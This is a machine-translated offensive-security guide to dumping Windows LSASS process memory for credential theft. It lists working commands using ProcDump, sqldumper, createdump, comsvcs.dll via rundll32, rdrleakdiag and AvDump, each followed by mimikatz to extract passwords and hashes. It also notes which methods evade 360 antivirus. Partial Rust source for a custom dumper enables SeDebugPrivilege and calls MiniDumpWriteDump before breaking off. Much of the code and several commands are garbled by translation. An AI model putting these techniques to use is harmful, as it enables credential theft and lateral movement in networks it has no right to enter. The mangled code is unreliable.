제목 : Windows LSAS 덤프 요약

前言​

lsass.exe (로컬 보안 당국 서브 시스템
서비스 프로세스 공간에는 기계 도메인, 로컬 사용자 이름 및 비밀번호와 같은 중요한 정보가 있습니다. 로컬 높은 권한을 얻는 경우 사용자는 LSASS 프로세스 메모리에 액세스하여 수평 이동 및 권한 에스컬레이션을 위해 내부 데이터를 내보낼 수 있습니다. LSA를 통해 사용자 비밀번호 또는 해시를 덤프하는 것도 침투 과정에서 필수 단계입니다. 여기서 우리는 원리를 배우고 다양한 투기 방법을 기록합니다.
[TOC]

常规方法​

mimikatz::logonpasswords​

우리는 일반적으로 이러한 도구를 LOLBIN으로 언급합니다. 즉, 공격자는 이러한 바이너리를 사용하여 원래 목적을 넘어 작업을 수행 할 수 있습니다. 우리는 LOLBINS에서 메모리를 수출하는 프로그램에 중점을 둡니다.

白名单工具​

3 개의 Microsoft 서명 화이트리스트 프로그램
ProcDump.exe
sqldumper.exe
createdump.exe

Procdump转储Lsass.exe的内存​

ProcDump는 덤프 프로세스 메모리를 위해 제공되는 Microsoft 서명 법적 이진 파일입니다. Microsoft 문서에서 공식 ProcDump 파일을 다운로드 할 수 있습니다.
ProcDump를 사용하여 LSAS 프로세스 DMP 파일을 잡고
ProcDump64.exe -accepteula -ma lsass.exe lsass_dump
그런 다음 Mimikatz를 사용하도록 구성 할 수 있습니다
Sekurlsa:3360Minidump lsassdump.dmp
Sekurlsa:LogonPasswords
lsass.exe에 민감한 경우 lsass.exe pid와 함께 사용할 수도 있습니다.
ProcDump64.exe -accepteula -ma pid lsass_dum
이 원칙은 lsass.exe가 주로 로컬 보안 및 로그인 정책에 사용되는 Windows 시스템의 보안 메커니즘이라는 것입니다. 일반적으로 시스템에 로그인 할 때 암호를 입력 한 후 비밀번호는 lsass.exe 메모리에 저장됩니다. 두 모듈 WDIGEST 및 TSPKG를 호출 한 후 가역적 알고리즘을 사용하여 암호화되어 메모리에 저장됩니다. Mimikatz는 lsass.exe의 역 계산을 통해 일반 텍스트 암호를 얻습니다.
탐지 및 사멸의 상황과 관련하여, Turvulin 바이러스는 스캔되지 않았으며 360은 13 버전에서 감지되지 않았으며 14 버전에서 감지 된 것으로 밝혀졌습니다.

SQLDumper.exe​

SQLDUMPER.EXE 유틸리티는 Microsoft SQL Server에 포함되어 있습니다. SQL Server 용 메모리 덤프 및 디버깅 목적을위한 관련 프로세스를 생성합니다.
sqldumper에 대한 일반적인 경로는 다음과 같습니다
C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe
C: \ Program Files \ Microsoft Analysis Services \ AS OLEDB \ 10 \ SQLDUMPER.EXE
C: \ Program Files (x86) \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe
sqldumper.exe는 Microsoft SQL 및 Office에 포함되어 전체 덤프 파일을 생성합니다.
작업리스트 /SVC | findstr lsass.exe lsass.exe의 PID 수를 봅니다
sqldumper.exe processId 00x01100 내보내기 mdmp 파일
그런 다음 로컬로 연결하면 동일한 버전의 운영 체제를 사용해야합니다.
mimikatz.exe 'sekurlsa3333:minidump sqldmpr0001.mdmp' 'sekurlsa:logonpasswords full'exit
360에 의해 사망 한 Turtlene은 검출되지 않았습니다

createdump.exe​

.NET5의 출현으로 기본 이진 자체입니다. 서명이 있지만 AV에 의해 조사되고 살해되었습니다.
createdump.exe -u -f lsass.dmp lsass [pid]
360에 의해 죽을 것입니다

comsvcs.dll​

comsvcs.dll 주로 COM+ 서비스 서비스를 제공합니다. 이 파일은 모든 Windows 시스템에서 찾을 수 있으며 프로세스의 완전한 덤프는 rundll32를 사용하여 구현하여 내보내기 기능 Minidump를 실행할 수 있습니다.
이 파일은 화이트리스트 파일입니다. 우리는 주로 comsvsc.dll의 내보내기 함수 apiminidump를 사용하여 lsass.exe를 덤핑하는 목적을 달성합니다. 관리자 권한도 필요합니다. sedebugprivilege 권한을 활성화해야하기 때문입니다. CMD 에서이 권한은 기본적으로 비활성화되며 PowerShell은 기본적으로 활성화됩니다. 이 파일은 C: \ Windows \ System32 \ comsvcs.dll에 있습니다
다음 방법을 사용하여 Minidump를 호출하여 덤프 LSASS.EXE 프로세스 :을 달성 할 수 있습니다.
PowerShell C: \ Windows \ System32 \ Rundll32.exe C: \ Windows \ System32 \ comsvcs.dll, Minidump (Get-Process Lsass) .id $ Env:temp \ lsass-comsvcs.dmp full
360은 또한 수표 및 살해를합니다. Apiminidump를 호출하여 메모리를 직접 덤핑하는 동작은 여전히 너무 민감합니다. 약간의 수정없이 확인하고 죽일 수 있습니다.

其它工具​

rdleakdiag.exe​

기본 기존 시스템 :
Windows 10 Windows 8.1 Windows 8 Windows 7 Windows Vista
소프트웨어 버전 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
그런 것이 없다면, 당신은 하나를 통과하도록 선택할 수 있습니다.
DMP 메모리 파일을 생성합니다
rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /대기 1 rst
두 파일, 결과*+프로세스 PID+.HLK, MINIDUMP*+프로세스 PID+.DMP가 생성됩니다. 그런 다음 Mimikatz를 사용하여 깨뜨립니다.

AvDump.exe​

Avdump.exe는 Avast Antivirus 소프트웨어와 함께 제공되는 프로그램입니다. 지정된 프로세스 (lsass.exe)의 메모리 데이터를 덤프하는 데 사용할 수 있습니다. Avast Anti-Soft Digital Signature가 제공됩니다. 따라서 일반적으로 AV에 의해 죽지 않습니다.
다운로드 주소 : https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2
PS에서 호출해야합니다. 그렇지 않으면 CMD는 기본적으로 SedeBugPrivilege 권한을 사용할 수 없지만 이제 360은 Avdump를 감지합니다.
.
그러나 그것은 또한 360에 의해 죽을 것입니다.

自主编写dll​

调用APIMiniDump的一个demo​

여기에는 Windows 프로세스 프로그래밍이 포함됩니다. 먼저 Windows에서 프로세스를 가로 지르는 방법을 살펴볼 수 있습니다. 프로세스를 통과하려면 여러 API와 구조가 필요합니다.
1. 프로세스 스냅 샷을 만듭니다
2. 첫 번째 프로세스를 가로 질러 초기화합니다
3. 다음 횡단으로 계속하십시오
4. 프로세스 정보 구조
CreateToolHelp32SnapShot을 사용하여 프로세스를 만듭니다
Winapi CreateToolHelp32SnapShot 처리 (
DWORD DWFLAGS, //"스냅 샷"에 반환 할 객체를 지정하는 데 사용되었으며, 이는 Th32cs_snablocess 등이 될 수 있습니다.
DWORD TH32PROCESSID //프로세스 ID 번호는 스냅 샷을 얻을 수있는 프로세스를 지정하는 데 사용됩니다. 시스템 프로세스 목록을 얻거나 현재 프로세스의 스냅 샷을 얻을 때 0으로 설정할 수 있습니다.
);
Process32First를 사용하여 첫 번째 프로세스 핸들을 가져옵니다
bool winapi process32first (
hsnapshot, //_ in, 프로세스 스냅 샷 핸들
lpprocessentry32 lppe //_ out, 프로세스 정보 구조를 전달하면 시스템이이를 작성합니다.
);
Process32Next를 사용하여 다음 프로세스를 얻으십시오
bool winapi process32next (
HSNAPSHOT 핸들, CreateToolHelp32SnapShot에서 반환 된 핸들
lpprocessentry32 ProcessEntry32 구조, 프로세스 정보 구조에 대한 LPPE 포인터
);
또한 ProcessEntry32의 구조와 관련된 것은 우리에게 유용합니다.
초기화 구조의 dwsize 크기 th32processid process idszexefile [max_path] 프로세스 경로 typedef struct tagprocessentry32 {
dword dwsize; //구조 크기는 첫 번째 호출 전에 초기화되어야합니다.
dword cntusage; //이 프로세스의 참조 수는 0이면 프로세스가 끝납니다.
dword th32processid; //프로세스 ID;
dword th32defaultheapid; //프로세스 기본 힙 ID;
dword th32moduleid; //프로세스 모듈 ID;
dword cntthreads; //이 프로세스가 열리는 스레드 수;
dword th32parentProcessId; //부모 프로세스 ID;
긴 pcpriclassbase; //스레드 우선 순위;
dword dwflags; //예약된;
char szexefile [max_path]; //전체 프로세스 이름;
} processEntry32;
Rust에서 구현 한 코드는 다음과 같습니다
fn getProcess () {
위험한{
Mut hands=createToolHelp32SnapShot을 het let let het let het het het het het het het het het het het het het het het het het=createToolHelp32SnapShot (th32cs_snaprocess | th32cs_snapthread, 0);
Mut Process_entry : ProcessEntry32=Zeroed ();
process_entry.dwsize=std:3:mem3:size_of33333:processentry32 () as U32;
//mut process_handle=null_mut ();
if! handle.is_null () {
process32first (hands, mut process_entry)==1 {
루프 {
extfilename=ostring:from_wide (process_entry.szexefile.iter (). map (| x | x as u16) .take while (| x | x 0) .Collect333333:Vecu16 (). as_slice ();
println!
IF Process32Next (hands, mut process_entry)==0 {
부서지다;
}
}
}
}
}
}
완전한 덤프 LSAS 프로세스 메모리에 대한 코드
std: {mem33333: {size_of}, ffi333333: {cstr, ostring, c_void, ostr}, os333333:windows:3360prelde3:3333333333333333333333333333333333333333333333333333333333333333333333333333333:windows3:windows3:windows Asrawhandle, Rawhandle, Osstrext}, fs:file, path: {path, self}};
std:ptr를 사용하십시오.
Clap: {App, Arg}를 사용하십시오.
log: {error};
wind
CloseHandle, getLasterror, invalid_handle_value, 핸들, 루이드,
}, security: {token_privileges, luid_and_attributes, se_privilege_enabled, token_adjust_privileges, lookupprivilegevaluea, teachtokenprivileges}, system:3360 {Threading33333:3603603333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333:3603360PENPRESSETON 진단 3:ToolHelp3333:th32CS_SNAPTHREAD}, Storage33333:FileSyStem33333:CreateFilea}, Core33333:pcstr};
wind
CreateEfilew, create_always, file_attribute_normal,
};
wind
minidumpwithfullmemory, minidumpwritedump
};
wind
CreateToolHelp32SnapShot, Process32First, Process32Next, ProcessEntry32, TH32CS_SNAPROCESS,
};
wind
wind
FN getPrivilege (핸들 : 핸들) {
위험한{
mut h_token: 핸들=핸들 :default ();
mut h_token_ptr: *mut handle=mut h_token;
Mut Tkp: Token_Privileges=Token_Privileges {
PrivileGecount: 1,
권한 : [luid_and_attributes {
luid: luid {
LowPart: 0,
HighPart: 0,
},
속성 : se_privilege_enabled,
}],
};
//현재 프로세스의 액세스 토큰을 엽니 다
let token=OpenProcessToken (핸들, token_adjust_privileges, h_token_ptr);
토큰 인 경우!=0 {
LET SYSTEMNAME=PTR:NULL_MUT ();
Lookupprivilegevaluea (
SystemName,
b'sedebugprivilege \ 0'.as_ptr (),
mut tkp.privileges [0] .luid)!=0 {
tkp.privileges [0] .attributes=se_privilege_enabled;
//println! ( '{:}', tkp.privileges [0] .attributes);
//현재 프로세스에 대한 sedebugprivilege 권한을 향상시킵니다
조정 된 경우 (
h_token,
0,
tkp as *const token_privileges,
0,
PTR:3360NULL_MUT (),
ptr:null_mut ()!=0 {
println! ( '토큰 권한이 성공적으로 조정');
} 또 다른 {
LET LAST_ERROR=getLasterror ();
println! ( 'AdtiontokenPrivileges는 오류 : 상태로 실패했습니다 ({:})', last_error);
}
} 또 다른 {
LET LAST_ERROR=getLasterror ();
println!
}
//액세스 토큰 핸들을 닫습니다
CloseHandle (H_TOKEN);
} 또 다른 {
LET LAST_ERROR=getLasterror ();
println! ( 'OpenProcessToken은 오류 : 상태로 실패했습니다 ({:})', last_error);
}
}
}
fn getProcess (lsassfile : str) {
위험한{
mut h_snapshot=createToolHelp32SnapShot을하자.
h_snapshot==invalid_handle_value {If
println!
}
Mut Process_entry: ProcessEntry32=std3333:mem33333:zeroed333333:processentry32 ();
Process_entry.dwsize=size_of:processentry32 () as u32;
Process32First (H_SNAPSHOT, MUT Process_Entry)==0 {
println! ( 'process32first error');
}
루프 {
extfilename=cstr:from_ptr (const i8) .to_bytes ();
extfile=ostring:3360from_wide (extfilename.iter (). map (| x | x as u16) .collect3:vecu16 (). as_slice ()). to_string_lossy ().
if extfile.starts_with ( 'lsass.exe') {
println! ( '[+] got {:} pid: {:}', extfile, process_entry.th32processId);
부서지다;
}
Process32next (h_snapshot, mut process_entry)==0 {If
println! ( 'process32next를 호출하지 못했다');
부서지다;
}
}
lsass_pid=process_entry.th32processid를하자;
let process_handle=OpenProcess (process_all_access, 0, lsass_pid);
process_handle==0 {If If
println! ( '프로세스를 열지 못한다');
}
lsassfile=lsassfile;
LSASSFILE: VECU16=OSSTR:NEW (lsassFile) .encode_wide (). 체인 (일부 (0) .into_iter ()). Collect ();
lsasshandle=createFilew를하자
lsassfile.as_ptr () as *const u16,
generic_all,
0,
PTR:3360NULL_MUT (),
Create_always,
file_attribute_normal,
0,
);
lsasshandle==invalid_handle_value 인 경우 {
println!
}
결과=minidumpwritedump (
 
뒤로
상단